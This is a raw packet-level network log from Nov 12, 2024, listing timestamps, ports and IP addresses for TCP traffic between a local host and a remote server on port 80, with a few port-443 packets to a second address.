Nov 12, 2024 06:23:36.519387960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519395113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519411087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519413948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519445896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519454956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519458055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519465923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519470930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519478083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519490004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519490957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519501925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519506931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519512892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519525051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519525051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519531965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519536972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519550085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519567013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519584894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519594908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519599915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.519620895 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.519644976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.560261011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.560271978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.560281038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.560291052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.560338020 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.560372114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.564162016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.564222097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.564301014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.564310074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.564320087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.564330101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.564337015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.564341068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.564356089 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.564385891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.604361057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.604387999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.604397058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.604414940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.604429960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.604449034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.604465008 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.611190081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611200094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611217976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611223936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611227989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611233950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611249924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.611255884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.611285925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.611300945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631375074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631387949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631397963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631419897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631442070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631511927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631566048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631575108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631601095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631603003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631611109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631617069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631628990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631639957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631668091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631928921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.631968975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.631987095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632029057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632067919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632081985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632092953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632107019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632123947 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632132053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632297993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632340908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632342100 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632354021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632373095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632385015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632391930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632402897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632405043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632409096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632416964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632435083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632452011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632483959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632503033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632515907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632520914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632525921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632539034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632544994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632549047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632558107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632561922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632570982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632575035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632586002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632603884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632605076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632616997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632621050 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632628918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632630110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632642031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632644892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632657051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632668018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632710934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632723093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632733107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632745028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632751942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632762909 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632775068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632793903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632802963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632813931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632829905 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632833004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632844925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632850885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632857084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632869005 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632869959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632883072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632885933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632900000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632900000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632911921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632911921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632925034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632942915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632952929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.632977962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.632988930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633004904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633018970 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633052111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633063078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633071899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633081913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633084059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633095026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633109093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633133888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633146048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633173943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633173943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633189917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633227110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633240938 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633253098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633271933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633291960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633342981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633353949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633363962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633380890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633383989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633397102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633402109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633409023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633419991 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633435965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633529902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633542061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633553028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633569956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633570910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633584976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633588076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633596897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633609056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633613110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633630991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633635044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633641958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633654118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633713007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.633909941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633955002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633970976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633982897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.633989096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634001017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634006023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634013891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634028912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634030104 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634048939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634069920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634076118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634093046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634104013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634116888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634125948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634130001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634140015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634145975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634147882 CET	443	54558	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.634166002 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634166956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634183884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634196997 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634202003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634215117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634221077 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634224892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634243011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634260893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634341955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634356022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634371996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634382963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634385109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634394884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634402990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634407043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634421110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634421110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634430885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634443998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634457111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634466887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634469032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634481907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634488106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634506941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634517908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634521008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634532928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634551048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634560108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634566069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634572029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634584904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634591103 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634598017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634598017 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634610891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634618998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634629965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634644032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634845018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634890079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634910107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634921074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634938002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634949923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634953976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634960890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.634969950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634978056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.634989977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635077953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635088921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635106087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635118008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635118961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635129929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635140896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635145903 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635160923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635179043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635240078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635250092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635262012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.635271072 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635283947 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.635298967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.675738096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.675753117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.675764084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.675802946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.675847054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.678353071 CET	54558	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.679361105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.679380894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.679392099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.679420948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.679445982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.679513931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.679526091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.679538965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.679557085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.679589033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.704031944 CET	54558	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.704044104 CET	443	54558	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.704773903 CET	54558	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:36.704777956 CET	443	54558	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:36.719891071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.719944000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.719944954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.719954014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.719969988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.719975948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.719990015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.720014095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.720186949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.720241070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.726716995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.726723909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.726742029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.726748943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.726756096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.726773977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.726810932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.746684074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.746726036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.746782064 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.746881008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.746912956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.746937990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.746944904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747004986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747020006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747028112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747040033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.747056007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.747106075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.747353077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747359991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747371912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747407913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:36.747420073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747427940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:36.747432947 CET	80	49779	185.215.113.206	192.168.2.5
